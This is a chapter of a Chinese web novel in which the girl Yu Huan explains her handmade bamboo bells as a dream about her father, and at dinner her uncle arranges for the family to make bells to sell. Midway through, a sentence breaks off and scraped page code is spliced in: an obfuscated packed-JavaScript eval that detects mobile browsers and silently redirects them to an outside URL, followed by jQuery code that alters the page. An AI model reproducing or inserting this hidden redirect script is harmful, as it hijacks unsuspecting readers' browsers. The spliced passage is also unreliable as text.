“欢儿,这是怎么回事?”
路旁,吕桃芳拿着竹铃,对余欢问道。
李金草才知道,原来这精致的小竹铃并不是二弟给欢儿买的。
那这竹铃从何处得来的呢?
若是买,估摸着得花不少钱,村中怕是没几户人家肯花钱给孩子买这东西。
便是村中人的东西,怎又会到了余欢手里?
总不能是捡了或是……
如此想着,李金草脸色有些古怪起来。
她看着身旁妯娌的脸色,芳娘的脸亦是一片煞白。
看来同她想到一处去了。
余欢只一眼,便知阿娘与伯娘在想些什么。
被虎儿抢走竹铃的委屈还未散去,此时更添一层被误解的委屈。
她那样要强,那样倔犟。
此时竟是不肯说话了。
虎儿替她开了口:“是余欢自己编的!”
想了想,又补充:“不对,是我与余欢一起编的,我也出了不少力呢!”
吕桃芳与李金草仍然怀疑。
可看余欢那表情,再看虎儿藏不住的得意劲儿,又觉他们不像说谎。
李金草想得远,当机立断道:“我们先回家,回去再说。”
余家,堂屋内。
吕桃芳向余欢道歉:“欢儿,是娘不对,娘想岔了。可……可娘不记得你爹教过你这些呀。”
确切来说,欢儿编的这竹铃,莫说余正青不会,连她也不会。
欢儿能自己琢磨出这东西?
余欢被问住了。
委屈被忐忑取代。
总不能说,是一个名叫系统的东西教给她的。
要是实话实说,阿娘和伯娘大约会马上拿艾草给她驱邪吧?
余欢犹豫了下,吞吞吐吐:“我……我做了个梦,我看梦里有人这样编,我就学会了。”
说出来便后悔了。
梦中人教她,岂不也像鬼神入梦?
果然,吕桃芳一下子紧张起来:
“梦里那人是谁?你可有看清脸孔?”
不知怎的,余欢灵机一动。
“有很多人,我只看清了一个。长得很像阿爹,可他的装束和阿爹完全不一样。”
或许敏感些的人,也总是很有想象的天赋。
开了个头,之后的话便自然而然涌了出来。
画面是语辞的忠仆,随伴语辞悄生。
如气如烟,攀蔓思想。
她自己也陷进了她的描述之中,忍不住掉下眼泪。
“我喊他阿爹,他好像听不见一样,只自顾自做着手里的活——我编竹铃时,总觉得不是我在编,而是有一只手,在替我编。”
余欢说得抽噎不止,她挂着晶莹泪滴,抬眼望向吕桃芳与李金草。
“娘,伯娘,是不是阿爹在教我?是不是阿爹在帮我?”
李金草听得红了眼睛。
用拇指揩了揩眼角,温声道:“孩子,一定是——二弟再怎么糊涂,又怎么放心得下你们娘俩呢?”
吕桃芳则已哭得失了声,将余欢揽在怀里,轻拍她的背。
母女俩哭作一团。
余欢清醒地知道,她过关了。
但她有些害怕。
不是害怕别的什么,而是害怕她自己都险些信了她说的话。
若不是学习编织的事才发生在昨夜,她都要以为是记忆出了错,此刻说的话才是真的。
原来人能把想象当真,并将之沉淀为栩栩如生的记忆。
余欢觉得可怕。
这样一来,还有什么是真的?
-
傍晚,余家人坐在饭桌边。
吕桃芳特意做了些好菜,让虎儿跑回家去,把余正实父子也请了过来。
确定竹铃的确出自余欢之手后,李金草提出让吕桃芳也学一学。
哪怕放在县里,这也是个新奇玩意儿,总能补贴些家用。
吕桃芳却并不藏私,打算让李金草与虎儿也学。
至于这打算能不能落地——
吕桃芳并不是一位专断的母亲。
竹铃是余欢做的,她不能替余欢来决定。
余欢当然不会不同意。
一来,她知道,这竹铃只是初看精巧复杂,在那些与竹编打惯了交道的人眼里,不过多久就能复制出来。
二来,这竹铃虽是系统教她的,可余欢不可能没有一丝骄傲。想到或许能通过这竹铃改变家中的困境,甚至惠及大伯一家,她就觉得心中一阵鼓荡。
或许,最重要也最隐秘的,是竹铃能为她,为这个破败不堪了许久的家粉饰些许。
他们家与其他人家一样。
他们家并不比别人差。
她想让自己与这个家被认可。
此刻,余家人围坐在桌边。
虽说已是最好的菜,可余欢家中哪里拿得出钱买肉,桌上最稀罕的菜,也不过是一道凉瓜炒鸡蛋而已。
鸡蛋还是近几日邻里送的。
余正实话少,只闷头吃饭。
大哥余才周的性子稳重,话也不多。
许久不来往的一家人吃饭吃得极安静,独独虎儿除外。
桌上有虎儿最喜欢的葱油饼子,倒是罕见地没被虎儿揽到他跟前。
虎儿口沫横飞,把白日里余欢怎么带他去采草珠子,回来又怎么带他编竹铃说得绘声绘色。
确切地说,虎儿添了不少他自己的幻想,把两人编竹铃的过程描述得夸张不少。
尤其他还相当不吝啬地夸了余欢好几句,直把余欢说得脸红。
她先前多期待长辈们知道这事儿呀。
可为什么此时除了开心,更多的是紧张呢?
胸口下方,靠近胃部所在,还有一点轻微的堵塞。
她忽然觉得会编竹铃并不是一件多值得炫耀的事了,她甚至觉得羞耻。
余欢的头低得几乎埋到了碗里。
她自己都没发现,她的余光几度试图向余正实的脸上去找寻。
找寻什么?她也不知道。
可以肯定的是,她并没有在那张面无表情的黝黑脸孔上找到她想要的痕迹。
所以才这么失望。
没有人教过她,“失望”是“她的”,不是她。
于是余欢理所当然的认为,当下的不舒适源于她不够好。
心思太细的人,对隐藏情绪往往很有天赋,以至于其余人都未发现余欢的低落。
虎儿说得激动极了,人都快站到凳子上去,被李金草掐着胳膊拧了一下才安分些许。
“虎儿,你这么喜欢竹铃呀?”吕桃芳给虎儿夹了一簇鸡蛋,“让欢儿教你编,好不好?”
“真的?真的?”
虎儿蹭得一下跑到吕桃芳身旁,小手攥着她的袖子,一双黑葡萄似的大眼睛亮晶晶的。
“二婶,你不骗我?”
吕桃芳忍不住笑:“我骗你做什么。”
虎儿又看余欢,有点儿没底气。
毕竟白天他才把余欢气哭了。
忐忑道:“你肯教我吗?”
见余欢的目光似是落在他攥着二婶袖子的手指上,虎儿心虚地把那双黑黑的小爪子藏到了背后。
“你要是肯教我,我一定把手洗得干干净净……我保证!”
余欢咽下口中的饭:
“好,我教你。”
“好耶——”
虎儿还没欢呼完,被李金草扯了回去。
“死小子,蹦那么高做什么!”李金草把虎儿按在凳子上,“你二婶只是跟你开个玩笑。”
虎儿小,只当二婶那句话是宠他。
可其他人哪能听不出来,吕桃芳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533976|186461||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是打算把竹铃的生意也分给他们家。
“芳娘,小孩子不懂事,你别跟他计较。”
吕桃芳知道,李金草不喜占人便宜,哪怕亲如一家。
索性直说:
“大嫂,你也知道,欢儿这竹铃虽漂亮,却不难钻营,稍一琢磨就知道怎么编的。这进项本就不能长久,更何况,你与大哥都不计前嫌,这样真心待我与欢儿,我们又怎会避讳你们?”
“芳娘,你说的有理,要是人人都学着做,倒是也卖不出价了,可……”
“啪嗒”一声轻响,余正实放下碗筷。
“弟妹既然愿意让你们学,学就是了。”
他终于发了话。
甫一开口,便一锤定音。
又看向余欢:
“欢儿,把竹铃给我看看。”
余欢心一紧,忙放下筷子,从怀里拿出竹铃。
竹铃经过阿娘的手,到了大伯手中。
大伯粗粝的手掌虚虚包着那小小竹铃。
余欢忐忑不已。
堂兄余才周先开了口,有些意外:
“我还当虎儿吹嘘,没想到这么漂亮。欢儿手真巧。”
“我骗你们干嘛。”虎儿白了他哥一眼。
余欢回以大堂哥一个有些僵硬的笑。
她忍不住去瞄余正实的表情。
大伯呢?大伯觉得怎么样?
“确实很不错。”
轰的一下,心绪豁然开朗。
余欢得到了她想要的东西。
她强压那隐秘的欢喜,犹想要更多肯定。
“可是,我不知道还能不能编得出来,也不知道能不能教好……”
“放宽心。”
余正实不擅长夸赞,只如是道。
余欢尴尬地咬了下舌尖,恨自己多话。
“草珠子、彩线、竹子,铃铛。欢儿,做这竹铃可还需要什么东西?”
余欢忙答:“还有剪刀和锥子。”
“嗯,这些倒不怕。”
余正实喝了口茶,道:“明日老大跟我去山上砍些竹子。彩线与铃铛要什么样式的,晚上你们跟欢儿商量好,芳娘和你去买。还有那草珠子,欢儿和虎儿去采就是了。”
当家的粗中有细,这样分配再合理不过。
李金草:“好。”
吕桃芳感激道:“大哥,大嫂,真是太感谢你们了。”
又捏了捏余欢的胳膊:“还不快谢谢大伯和伯娘。”
余欢知道,大伯同意让虎儿和伯娘学做竹铃,其实是为她家着想。
方才的安排便是证明。
若不是要帮衬她和阿娘,他与大堂哥何须参与?
大伯没有提她与阿娘如今的窘境,没有任何施恩的姿态,这的确值得感激。
但,余欢近乎偏执的相信,在人前的感激总会失了纯粹。
至少于她而言如此。
有他者在场,她便陷入“被观”的处境。她会演,自觉或不自觉的。
如果可以,她更愿意私下对大伯、伯娘说感激的话语。
或者不说,以行动回馈。
“多谢大伯、伯娘、大哥,还有虎儿——欢儿一定记在心里。”
——虽有隐微抗拒,余欢还是清楚地看着自己依照娘的话做了。
“说这些做什么,吃饭,先吃饭。”李金草忙道。
重新拿起筷子的那一瞬,余欢如释重负。
饭菜入口,安抚了心情。
吕桃芳起身点了蜡烛。
啊,原来天快黑了。
余欢看向灶房门外,矮小篱墙上的叶影映在远方灰蓝的天幕之上,黑乎乎一片。
蟋蟀的鸣叫一声急过一声,是不是进了灶房?
余欢的思绪很乱。
乱得雀跃。
她期望明日的到来。